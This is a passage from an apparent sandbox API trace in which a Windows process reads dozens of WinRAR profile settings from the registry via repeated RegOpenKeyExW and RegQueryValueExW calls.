lpcbData=0x1da348*=0x4) returned 0x0 [0052.683] RegCloseKey (hKey=0x180) returned 0x0 [0052.683] GetLastError () returned 0x5b0 [0052.683] SetLastError (dwErrCode=0x5b0) [0052.683] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.683] RegQueryValueExW (in: hKey=0x180, lpValueName="OldVolNames", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.683] RegCloseKey (hKey=0x180) returned 0x0 [0052.683] GetLastError () returned 0x5b0 [0052.683] SetLastError (dwErrCode=0x5b0) [0052.683] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.683] RegQueryValueExW (in: hKey=0x180, lpValueName="RecVolNumber", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.683] RegCloseKey (hKey=0x180) returned 0x0 [0052.683] GetLastError () returned 0x5b0 [0052.683] SetLastError (dwErrCode=0x5b0) [0052.683] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.683] RegQueryValueExW (in: hKey=0x180, lpValueName="Update", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.683] RegCloseKey (hKey=0x180) returned 0x0 [0052.684] GetLastError () returned 0x5b0 [0052.684] SetLastError (dwErrCode=0x5b0) [0052.684] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.684] RegQueryValueExW (in: hKey=0x180, lpValueName="Fresh", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.684] RegCloseKey (hKey=0x180) returned 0x0 [0052.684] GetLastError () returned 0x5b0 [0052.684] SetLastError (dwErrCode=0x5b0) [0052.684] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.684] RegQueryValueExW (in: hKey=0x180, lpValueName="SyncFiles", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.684] RegCloseKey (hKey=0x180) returned 0x0 [0052.684] GetLastError () returned 0x5b0 [0052.684] SetLastError (dwErrCode=0x5b0) [0052.684] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.684] RegQueryValueExW (in: hKey=0x180, lpValueName="Overwrite", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.684] RegCloseKey (hKey=0x180) returned 0x0 [0052.684] GetLastError () returned 0x5b0 [0052.684] SetLastError (dwErrCode=0x5b0) [0052.684] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.684] RegQueryValueExW (in: hKey=0x180, lpValueName="Move", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.684] RegCloseKey (hKey=0x180) returned 0x0 [0052.684] GetLastError () returned 0x5b0 [0052.684] SetLastError (dwErrCode=0x5b0) [0052.684] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.684] RegQueryValueExW (in: hKey=0x180, lpValueName="ArcRecBin", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.684] RegCloseKey (hKey=0x180) returned 0x0 [0052.684] GetLastError () returned 0x5b0 [0052.684] SetLastError (dwErrCode=0x5b0) [0052.684] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.684] RegQueryValueExW (in: hKey=0x180, lpValueName="ArcWipe", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.684] RegCloseKey (hKey=0x180) returned 0x0 [0052.684] GetLastError () returned 0x5b0 [0052.684] SetLastError (dwErrCode=0x5b0) [0052.685] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.685] RegQueryValueExW (in: hKey=0x180, lpValueName="WipeIfPassword", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.685] RegCloseKey (hKey=0x180) returned 0x0 [0052.685] GetLastError () returned 0x5b0 [0052.685] SetLastError (dwErrCode=0x5b0) [0052.685] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.685] RegQueryValueExW (in: hKey=0x180, lpValueName="Solid", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.685] RegCloseKey (hKey=0x180) returned 0x0 [0052.685] GetLastError () returned 0x5b0 [0052.685] SetLastError (dwErrCode=0x5b0) [0052.685] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.685] RegQueryValueExW (in: hKey=0x180, lpValueName="Test", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.685] RegCloseKey (hKey=0x180) returned 0x0 [0052.685] GetLastError () returned 0x5b0 [0052.685] SetLastError (dwErrCode=0x5b0) [0052.685] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.685] RegQueryValueExW (in: hKey=0x180, lpValueName="RecEnabled", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.685] RegCloseKey (hKey=0x180) returned 0x0 [0052.685] GetLastError () returned 0x5b0 [0052.685] SetLastError (dwErrCode=0x5b0) [0052.685] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.685] RegQueryValueExW (in: hKey=0x180, lpValueName="RecSize", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0xfffffffd, lpcbData=0x1da348*=0x4) returned 0x0 [0052.685] RegCloseKey (hKey=0x180) returned 0x0 [0052.685] GetLastError () returned 0x5b0 [0052.685] SetLastError (dwErrCode=0x5b0) [0052.685] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.685] RegQueryValueExW (in: hKey=0x180, lpValueName="Recovery", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x0, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x2 [0052.685] RegCloseKey (hKey=0x180) returned 0x0 [0052.685] GetLastError () returned 0x5b0 [0052.685] SetLastError (dwErrCode=0x5b0) [0052.685] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.686] RegQueryValueExW (in: hKey=0x180, lpValueName="EraseDest", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.686] RegCloseKey (hKey=0x180) returned 0x0 [0052.686] GetLastError () returned 0x5b0 [0052.686] SetLastError (dwErrCode=0x5b0) [0052.686] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.686] RegQueryValueExW (in: hKey=0x180, lpValueName="AddArcOnly", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.686] RegCloseKey (hKey=0x180) returned 0x0 [0052.686] GetLastError () returned 0x5b0 [0052.686] SetLastError (dwErrCode=0x5b0) [0052.686] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.686] RegQueryValueExW (in: hKey=0x180, lpValueName="ClearArc", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.686] RegCloseKey (hKey=0x180) returned 0x0 [0052.686] GetLastError () returned 0x5b0 [0052.686] SetLastError (dwErrCode=0x5b0) [0052.686] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.686] RegQueryValueExW (in: hKey=0x180, lpValueName="Lock", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.686] RegCloseKey (hKey=0x180) returned 0x0 [0052.686] GetLastError () returned 0x5b0 [0052.686] SetLastError (dwErrCode=0x5b0) [0052.686] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.686] RegQueryValueExW (in: hKey=0x180, lpValueName="Method", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x3, lpcbData=0x1da348*=0x4) returned 0x0 [0052.686] RegCloseKey (hKey=0x180) returned 0x0 [0052.686] GetLastError () returned 0x5b0 [0052.686] SetLastError (dwErrCode=0x5b0) [0052.686] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.686] RegQueryValueExW (in: hKey=0x180, lpValueName="DictSizeLZ", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x400000, lpcbData=0x1da348*=0x4) returned 0x0 [0052.686] RegCloseKey (hKey=0x180) returned 0x0 [0052.686] GetLastError () returned 0x5b0 [0052.686] SetLastError (dwErrCode=0x5b0) [0052.686] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.686] RegQueryValueExW (in: hKey=0x180, lpValueName="DictSize", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x2000000, lpcbData=0x1da348*=0x4) returned 0x0 [0052.687] RegCloseKey (hKey=0x180) returned 0x0 [0052.687] GetLastError () returned 0x5b0 [0052.687] SetLastError (dwErrCode=0x5b0) [0052.687] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.687] RegQueryValueExW (in: hKey=0x180, lpValueName="Name", lpReserved=0x0, lpType=0x1d9a84, lpData=0x1da5e0, lpcbData=0x1d9a80*=0x200 | out: lpType=0x1d9a84*=0x1, lpData="Default Profile", lpcbData=0x1d9a80*=0x20) returned 0x0 [0052.687] RegCloseKey (hKey=0x180) returned 0x0 [0052.687] GetLastError () returned 0x5b0 [0052.687] SetLastError (dwErrCode=0x5b0) [0052.687] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d8020 | out: phkResult=0x1d8020*=0x180) returned 0x0 [0052.687] RegQueryValueExW (in: hKey=0x180, lpValueName="PasswordData", lpReserved=0x0, lpType=0x1d8484, lpData=0x1da0e0, lpcbData=0x1d8480*=0x200 | out: lpType=0x1d8484*=0x3, lpData=0x1da0e0*, lpcbData=0x1d8480*=0x1) returned 0x0 [0052.687] RegCloseKey (hKey=0x180) returned 0x0 [0052.687] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x200) returned 0x2c42d0 [0052.687] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2c42d0 | out: hHeap=0x290000) returned 1 [0052.687] GetLastError () returned 0x5b0 [0052.687] SetLastError (dwErrCode=0x5b0) [0052.687] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d88b0 | out: phkResult=0x1d88b0*=0x180) returned 0x0 [0052.687] RegQueryValueExW (in: hKey=0x180, lpValueName="EncryptHeaders", lpReserved=0x0, lpType=0x1d8d14, lpData=0x1d8d10, lpcbData=0x1d8d48*=0x4 | out: lpType=0x1d8d14*=0x4, lpData=0x1d8d10*=0x0, lpcbData=0x1d8d48*=0x4) returned 0x0 [0052.687] RegCloseKey (hKey=0x180) returned 0x0 [0052.687] GetLastError () returned 0x5b0 [0052.687] SetLastError (dwErrCode=0x5b0) [0052.687] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d88b0 | out: phkResult=0x1d88b0*=0x180) returned 0x0 [0052.688] RegQueryValueExW (in: hKey=0x180, lpValueName="ZipLegacyEncrypt", lpReserved=0x0, lpType=0x1d8d14, lpData=0x1d8d10, lpcbData=0x1d8d48*=0x4 | out: lpType=0x1d8d14*=0x4, lpData=0x1d8d10*=0x0, lpcbData=0x1d8d48*=0x4) returned 0x0 [0052.688] RegCloseKey (hKey=0x180) returned 0x0 [0052.688] GetLastError () returned 0x5b0 [0052.688] SetLastError (dwErrCode=0x5b0) [0052.688] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.688] RegQueryValueExW (in: hKey=0x180, lpValueName="OpenShared", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.688] RegCloseKey (hKey=0x180) returned 0x0 [0052.688] GetLastError () returned 0x5b0 [0052.688] SetLastError (dwErrCode=0x5b0) [0052.688] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.688] RegQueryValueExW (in: hKey=0x180, lpValueName="ProcessOwners", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.688] RegCloseKey (hKey=0x180) returned 0x0 [0052.688] GetLastError () returned 0x5b0 [0052.688] SetLastError (dwErrCode=0x5b0) [0052.688] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.688] RegQueryValueExW (in: hKey=0x180, lpValueName="SaveStreams", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.688] RegCloseKey (hKey=0x180) returned 0x0 [0052.688] GetLastError () returned 0x5b0 [0052.688] SetLastError (dwErrCode=0x5b0) [0052.688] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.688] RegQueryValueExW (in: hKey=0x180, lpValueName="SaveSymLinks", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.688] RegCloseKey (hKey=0x180) returned 0x0 [0052.688] GetLastError () returned 0x5b0 [0052.688] SetLastError (dwErrCode=0x5b0) [0052.688] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.688] RegQueryValueExW (in: hKey=0x180, lpValueName="SaveHardLinks", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.688] RegCloseKey (hKey=0x180) returned 0x0 [0052.688] GetLastError () returned 0x5b0 [0052.688] SetLastError (dwErrCode=0x5b0) [0052.688] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.688] RegQueryValueExW (in: hKey=0x180, lpValueName="Background", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.688] RegCloseKey (hKey=0x180) returned 0x0 [0052.689] GetLastError () returned 0x5b0 [0052.689] SetLastError (dwErrCode=0x5b0) [0052.689] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.689] RegQueryValueExW (in: hKey=0x180, lpValueName="WaitForOther", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.689] RegCloseKey (hKey=0x180) returned 0x0 [0052.689] GetLastError () returned 0x5b0 [0052.689] SetLastError (dwErrCode=0x5b0) [0052.689] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.689] RegQueryValueExW (in: hKey=0x180, lpValueName="Shutdown", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.689] RegCloseKey (hKey=0x180) returned 0x0 [0052.689] GetLastError () returned 0x5b0 [0052.689] SetLastError (dwErrCode=0x5b0) [0052.689] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.689] RegQueryValueExW (in: hKey=0x180, lpValueName="GenerateArcName", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.689] RegCloseKey (hKey=0x180) returned 0x0 [0052.689] GetLastError () returned 0x5b0 [0052.689] SetLastError (dwErrCode=0x5b0) [0052.689] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.689] RegQueryValueExW (in: hKey=0x180, lpValueName="VersionControl", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.689] RegCloseKey (hKey=0x180) returned 0x0 [0052.689] GetLastError () returned 0x5b0 [0052.689] SetLastError (dwErrCode=0x5b0) [0052.689] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.689] RegQueryValueExW (in: hKey=0x180, lpValueName="BLAKE2", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.689] RegCloseKey (hKey=0x180) returned 0x0 [0052.689] GetLastError () returned 0x5b0 [0052.689] SetLastError (dwErrCode=0x5b0) [0052.689] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.689] RegQueryValueExW (in: hKey=0x180, lpValueName="FileCopies", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.689] RegCloseKey (hKey=0x180) returned 0x0 [0052.689] GetLastError () returned 0x5b0 [0052.690] SetLastError (dwErrCode=0x5b0) [0052.690] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.690] RegQueryValueExW (in: hKey=0x180, lpValueName="QuickOpen", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x1, lpcbData=0x1da348*=0x4) returned 0x0 [0052.690] RegCloseKey (hKey=0x180) returned 0x0 [0052.690] GetLastError () returned 0x5b0 [0052.690] SetLastError (dwErrCode=0x5b0) [0052.690] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.690] RegQueryValueExW (in: hKey=0x180, lpValueName="GenerateMask", lpReserved=0x0, lpType=0x1d9a84, lpData=0x13f2ba81a, lpcbData=0x1d9a80*=0x100 | out: lpType=0x1d9a84*=0x1, lpData="yyyymmddhhmmss", lpcbData=0x1d9a80*=0x1e) returned 0x0 [0052.690] RegCloseKey (hKey=0x180) returned 0x0 [0052.690] GetLastError () returned 0x5b0 [0052.690] SetLastError (dwErrCode=0x5b0) [0052.690] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.690] RegQueryValueExW (in: hKey=0x180, lpValueName="FileTimeMode", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.690] RegCloseKey (hKey=0x180) returned 0x0 [0052.690] GetLastError () returned 0x5b0 [0052.690] SetLastError (dwErrCode=0x5b0) [0052.690] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.690] RegQueryValueExW (in: hKey=0x180, lpValueName="FileDays", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.690] RegCloseKey (hKey=0x180) returned 0x0 [0052.690] GetLastError () returned 0x5b0 [0052.690] SetLastError (dwErrCode=0x5b0) [0052.690] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.690] RegQueryValueExW (in: hKey=0x180, lpValueName="FileHours", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.690] RegCloseKey (hKey=0x180) returned 0x0 [0052.690] GetLastError () returned 0x5b0 [0052.690] SetLastError (dwErrCode=0x5b0) [0052.690] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.690] RegQueryValueExW (in: hKey=0x180, lpValueName="FileMinutes", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, 